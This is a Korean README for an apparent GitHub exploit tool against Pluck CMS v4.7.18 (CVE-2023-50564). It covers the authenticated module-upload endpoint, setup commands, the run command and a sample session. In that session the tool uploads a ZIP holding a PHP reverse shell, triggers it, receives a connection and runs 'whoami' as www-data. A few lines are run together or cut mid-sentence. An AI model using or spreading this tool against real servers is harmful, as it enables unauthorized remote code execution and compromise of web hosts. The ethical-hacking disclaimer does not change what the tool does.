
이 스크립트는 Pluck CMS v4.7.18의 파일 업로드 기능을 악용하여 악성 PHP 파일을 업로드하고, 리버스 셸을 통한 원격 접근을 가능하게 합니다. 업로드된 백도어는 공격자에게 웹 서버 권한으로 서버에 접근할 수 있는 권한을 부여하여, 시스템 또는 네트워크 내에서 추가 작업을 수행할 수 있게 합니다.
이 스크립트는 Pluck CMS v4.7.18 (CVE-2023-50564)의 인증된 임의 파일 업로드 취약점을 악용합니다. 이 취약점을 이용하면 인증된 공격자가 악성 PHP 파일을 업로드하여 임의 코드 실행(이 경우 리버스 셸)을 가능하게 합니다.
취약점은 /admin.php?action=installmodule 엔드포인트에 존재하며, 인증된 사용자가 임의의 파일을 포함하는 ZIP 파일을 업로드할 수 있습니다. 악성 PHP 파일을 업로드함으로써 이 익스플로잇은 공격자에게 리버스 셸을 생성합니다.
pip install requestspip install requests-toolbelt이 스크립트는 또한 대상 URL과 비밀번호를 포함하여 Pluck CMS 인스턴스의 유효한 로그인이 필요합니다.
su, sudo -l)를 감지하고 사용자가 수동으로 입력할 수 있도록 합니다.git clone https://github.com/yourusername/Pluck-CMS-Exploit.git
cd Pluck-CMS-Exploit
pip install requests requests-toolbelt
Python을 사용하여 익스플로잇 실행:
python3 exploit.py
예시:
$ python3 exploit.py
Enter the target URL (e.g., example.com): pluckcms.vulnerable.com
Enter the password for target authentication: password123
Enter your IP (for reverse shell): 10.10.14.5
Enter the port to listen on (for reverse shell): 4444
[*] Authenticating to the target...
[+] Authentication successful.
[*] Generating reverse shell PHP file...
[+] Reverse shell PHP file created successfully as 'shell.php'.
[*] Creating ZIP payload...
[+] ZIP file created as 'payload.zip'.
[*] Starting reverse shell listener on 10.10.14.5:4444 ...
[*] Uploading payload to the target...
[+] Payload uploaded successfully.
[*] Triggering reverse shell at: http://pluckcms.vulnerable.com/data/modules/payload/shell.php
[+] Connection received from ('10.10.10.1', 55678)
Shell> whoami
www-data
이 스크립트는 교육 목적과 윤리적 해킹을 위해 제공됩니다. 명시적인 테스트 허가를 받은 환경에서만 사용해야 합니다. 저자는 이 도구의 오용에 대해 책임을 지지 않습니다.
이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다. 자세한 내용은 MIT 라이선스를 참조하세요.
리포지토리를 포크하고 풀 리퀘스트를 제출해 주세요. 문제나 기능 요청이 있으면 GitHub에서 이슈를 열어 주세요.